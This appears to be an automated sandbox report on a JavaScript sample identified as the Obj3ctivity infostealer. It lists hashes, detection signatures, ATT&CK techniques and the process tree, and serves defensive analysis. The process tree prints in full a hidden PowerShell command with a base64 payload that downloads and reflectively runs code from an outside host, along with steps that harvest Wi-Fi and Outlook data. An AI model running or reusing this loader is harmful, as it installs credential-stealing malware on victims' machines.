Analysis
- max time kernel
149s - max time network
142s - platform
windows11-21h2_x64 - resource
win11-20251231-en - resource tags
arch:x64arch:x86image:win11-20251231-enlocale:en-usos:windows11-21h2-x64system - submitted
08/01/2026, 07:13
Static task
static1
Behavioral task
behavioral1
Sample
Tour_Group.js
Resource
win10v2004-20251231-en
Behavioral task
behavioral2
Sample
Tour_Group.js
Resource
win11-20251231-en
General
- Target Tour_Group.js
- Size 4.5MB
- Sample260108-h2chqaby5d
- SHA256 ec75f284102e3827f09cf9d4c646620f707657a977581064a0cea7a67d3e4896
- MD5 2450aedcde296e78dac05082d2d21ce4
- SHA1 27eff304b260bd7fa0df1d28390ea333188fc3e6
- SHA512 ef67d2e14fe4746c61edad67764e5b544b2db1d8c63759b87f217cc54af320930d1ee1e9e2cf2ac92ca2a802fdc05ecddafd37ab68500b8fac9a826446a3e8e4
- SSDEEP 96:Oaab2annAPy2Lap5gKBU+KyPwJehuj/X+d7P1cDtZ3PcyepPpuUzTUfRIk2wu2Sv:HcFrEY
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Detects Obj3ctivity Stage1 1 IoCs
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
resource yara_rule behavioral2/memory/4892-12-0x0000000000400000-0x00000000004E6000-memory.dmp family_obj3ctivity - Obj3ctivity family
- Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5284 5092 powershell.exe 77 - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5284 powershell.exe 3 5284 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5284 powershell.exe - Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3050491965-2933534114-1688612772-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe Key opened \REGISTRY\USER\S-1-5-21-3050491965-2933534114-1688612772-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe Key opened \REGISTRY\USER\S-1-5-21-3050491965-2933534114-1688612772-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe - Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 icanhazip.com 1 ip-api.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 5284 set thread context of 4892 5284 powershell.exe 80 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe - System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Msbuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language chcp.com Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language findstr.exe - System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 2848 cmd.exe 244 netsh.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 Msbuild.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Msbuild.exe - Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 5284 powershell.exe 5284 powershell.exe 5284 powershell.exe 5284 powershell.exe 5284 powershell.exe 5284 powershell.exe 5284 powershell.exe 5284 powershell.exe 4892 Msbuild.exe 4892 Msbuild.exe 4892 Msbuild.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 5284 powershell.exe Token: SeDebugPrivilege 4892 Msbuild.exe Token: SeSecurityPrivilege 3120 msiexec.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5284 wrote to memory of 4892 5284 powershell.exe 80 PID 5284 wrote to memory of 4892 5284 powershell.exe 80 PID 5284 wrote to memory of 4892 5284 powershell.exe 80 PID 5284 wrote to memory of 4892 5284 powershell.exe 80 PID 5284 wrote to memory of 4892 5284 powershell.exe 80 PID 4892 wrote to memory of 2848 4892 Msbuild.exe 81 PID 2848 wrote to memory of 688 2848 cmd.exe 84 PID 2848 wrote to memory of 244 2848 cmd.exe 85 PID 2848 wrote to memory of 2348 2848 cmd.exe 86 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3050491965-2933534114-1688612772-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3050491965-2933534114-1688612772-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Msbuild.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Tour_Group.js1⤵PID:4624
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAGwAbwBzAGUAaABhAG4AZABlAGQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwBsAG8AcwBlAGgAYQBuAGQAZQBkAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQA7ACQAYwBsAG8AcwBlAGgAYQBuAGQAZQBkAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAYwBsAG8AcwBlAGgAYQBuAGQAZQBkAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAtAEwAYQBuAGcAdQBhAGcAZQAiACwAIAAiAGUAbgAtAFUAUwAsAGUAbgA7AHEAPQAwAC4AOQAiACkAOwAkAHQAaAByAG8AbQBiAG8AcwBpAG4AIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAGIAagB0AHoAcQBwADQAcQAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcANgA3ADQANQA1ADAANAAwAC8AbwBwAHQAaQBtAGkAegBlAGQAXwBNAFMASQBfAGwAcABzAGQAOQBwAC4AagBwAGcAJwA7ACQAbQBhAG4AdQByAGUAbQBlAG4AdAAgAD0AIAAkAGMAbABvAHMAZQBoAGEAbgBkAGUAZAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB0AGgAcgBvAG0AYgBvAHMAaQBuACkAOwAkAGgAbwBzAHAAaQBjAGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbQBhAG4AdQByAGUAbQBlAG4AdAApADsAaQBmACAAKAAkAGgAbwBzAHAAaQBjAGUAcwAgAC0AbQBhAHQAYwBoACAAJwBCAGEAcwBlAFMAdABhAHIAdAAtACgALgAqAD8AKQAtAEIAYQBzAGUARQBuAGQAJwApACAAewAgACAAJABwAG8AcwB0AGwAdQBkAGUAcwAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABkAGkAcwB0AGUAbQBvAG4AbwB1AHMAIAA9ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcABvAHMAdABsAHUAZABlAHMAKQApADsAIAAgACQAYQByAGcAcwBCAGEAcwBlADYANAAgAD0AIAAnAEoAdwBBAHcAQQBHAGcAQQBTAEEAQgBrAEEAQQBvAEEARABRAEIAMQBBAEgATQBBAFIAdwBCAGkAQQBHAGsAQQBVAGcAQQB6AEEARQB3AEEATQBnAEIAVwBBAEUAYwBBAFcAZwBCADEAQQBFAGsAQQBhAGcAQgBqAEEASABVAEEAUQBRAEIANgBBAEUANABBAE0AZwBCAGoAQQBHAG8AQQBXAGcAQgByAEEARgBvAEEAYQBnAEIAYQBBAEcAawBBAFMAZwBCADYAQQBFADAAQQBOAFEAQgBWAEEARwAwAEEAVABnAEEAMQBBAEcAcwBBAFIAQQBCAE8AQQBHADAAQQBaAEEAQgBFAEEARQA0AEEAYQB3AEIAYQBBAEUAUQBBAFQAdwBBAHgAQQBGAFUAQQBWAEEAQgBOAEEARABJAEEAUgBRAEEAeQBBAEUAMABBAGIAUQBCAGsAQQBIAG8AQQBUAFEAQgAwAEEARQBrAEEAVgB3AEIAawBBAEgAYwBBAE8AUQBCADUAQQBFAHcAQQBOAGcAQgBOAEEARQBnAEEAWQB3AEEAdwBBAEYASQBBAFMAQQBCAGgAQQBDAGMAQQBMAEEAQQBuAEEAQwBjAEEATABBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAFUAQQBjAHcAQgBsAEEASABJAEEAYwB3AEIAYwBBAEYAQQBBAGQAUQBCAGkAQQBHAHcAQQBhAFEAQgBqAEEARgB3AEEAUgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEASABNAEEAWABBAEEAbgBBAEMAdwBBAEoAdwBCAE8AQQBHAEUAQQBiAFEAQgBsAEEARgA4AEEAUgBnAEIAcABBAEcAdwBBAFoAUQBBAG4AQQBDAHcAQQBKAHcAQgBOAEEASABNAEEAWQBnAEIAMQBBAEcAawBBAGIAQQBCAGsAQQBDAGMAQQBMAEEAQQBuAEEAQwBjAEEATABBAEEAbgBBAEUAMABBAGMAdwBCAGkAQQBIAFUAQQBhAFEAQgBzAEEARwBRAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAEEAQgB1AEEAQwA0AEEAWgBBAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEkAQQBaAEEAQgBoAEEASABBAEEAYwBBAEEAdQBBAEcATQBBAGIAdwBCAHQAQQBDADgAQQBZAFEAQgAwAEEASABRAEEAWQBRAEIAagBBAEcAZwBBAGIAUQBCAGwAQQBHADQAQQBkAEEAQgB6AEEAQwA4AEEATQBRAEEAeABBAEQAZwBBAE0AUQBBAHoAQQBEAGMAQQBPAEEAQQA1AEEARABBAEEATQBnAEEAeABBAEQARQBBAE4AZwBBAHcAQQBEAEUAQQBOAGcAQQB5AEEARABJAEEATQBnAEEAdgBBAEQARQBBAE4AQQBBAHoAQQBEAGcAQQBOAGcAQQA0AEEARABJAEEATgBBAEEAeQBBAEQAQQBBAE4AQQBBADMAQQBEAFEAQQBPAEEAQQB4AEEARABBAEEATgBRAEEAeQBBAEQARQBBAEwAdwBCAHoAQQBHAGcAQQBhAFEAQgB0AEEAQwA0AEEAZABnAEIAaQBBAEgATQBBAFAAdwBCAGwAQQBIAGcAQQBQAFEAQQAyAEEARABrAEEATQBRAEEAMwBBAEcATQBBAE4AQQBCAGwAQQBHAEUAQQBKAGcAQgBwAEEASABNAEEAUABRAEEAMgBBAEQAawBBAE0AUQBBADIAQQBEAGMAQQBNAHcAQQAyAEEARwBFAEEASgBnAEIAbwBBAEcAMABBAFAAUQBBADUAQQBHAEUAQQBZAGcAQQAyAEEARwBZAEEATQBRAEEAeQBBAEcAVQBBAFoAZwBBAHgAQQBHAFkAQQBOAEEAQgBsAEEARABnAEEATQB3AEEAegBBAEQAYwBBAE4AQQBBADIAQQBEAGMAQQBaAFEAQQB5AEEARABnAEEATQBBAEIAaQBBAEQAYwBBAFkAdwBCAGgAQQBHAE0AQQBPAFEAQQB6AEEARwBZAEEATgBRAEEAMwBBAEQAYwBBAE0AZwBBAHkAQQBEAEUAQQBaAEEAQQB6AEEARwBZAEEAWgBnAEEAdwBBAEQAZwBBAE0AUQBBADUAQQBHAFUAQQBNAGcAQgBsAEEARwBJAEEATQB3AEEAMABBAEQAVQBBAE4AQQBCAG0AQQBEAEkAQQBOAGcAQQB6AEEARABFAEEATQB3AEEAeQBBAEQATQBBAE4AUQBBADEAQQBDAFkAQQBKAHcAQQBzAEEAQwBjAEEAUQB3AEEANgBBAEYAdwBBAFYAUQBCAHoAQQBHAFUAQQBjAGcAQgB6AEEARgB3AEEAVQBBAEIAMQBBAEcASQBBAGIAQQBCAHAAQQBHAE0AQQBYAEEAQgBFAEEARwA4AEEAZAB3AEIAdQBBAEcAdwBBAGIAdwBCAGgAQQBHAFEAQQBjAHcAQgBjAEEAQwBjAEEATABBAEEAbgBBAEUANABBAFkAUQBCAHQAQQBHAFUAQQBYAHcAQgBHAEEARwBrAEEAYgBBAEIAbABBAEMAYwBBAEwAQQBBAG4AQQBHAG8AQQBjAHcAQQBuAEEAQwB3AEEASgB3AEEAeABBAEMAYwBBAEwAQQBBAG4AQQBDAGMAQQBMAEEAQQBuAEEARgBRAEEAWQBRAEIAegBBAEcAcwBBAFgAdwBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQwBjAEEATABBAEEAbgBBAEQAQQBBAEoAdwBBAHMAQQBDAGMAQQBKAHcAQQBzAEEAQwBjAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAD0AJwA7ACAAIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQByAGcAcwBCAGEAcwBlADYANAApACkAOwAgACAAJABhAHIAZwBzACAAPQAgACQAYQByAGcAcwBTAHQAcgBpAG4AZwAgAC0AcwBwAGwAaQB0ACAAJwAsACcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAFQAcgBpAG0AKAAnACcAJwAiACcAIAApACAAfQA7ACAAIABbAFMAbwBmAHQAdwBhAHIAZQAuAFAAcgBvAGcAcgBhAG0AXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAIgBNAGEAaQBuACIAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAGEAcgBnAHMAKQA7AH0A')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5284 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:4892 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All3⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\SysWOW64\chcp.comchcp 650014⤵
- System Location Discovery: System Language Discovery
PID:688
-
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C:\Windows\SysWOW64\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
PID:244
-
-
C:\Windows\SysWOW64\findstr.exefindstr All4⤵
- System Location Discovery: System Language Discovery
PID:2348
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-
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3120
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1tqkfve.vtr.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512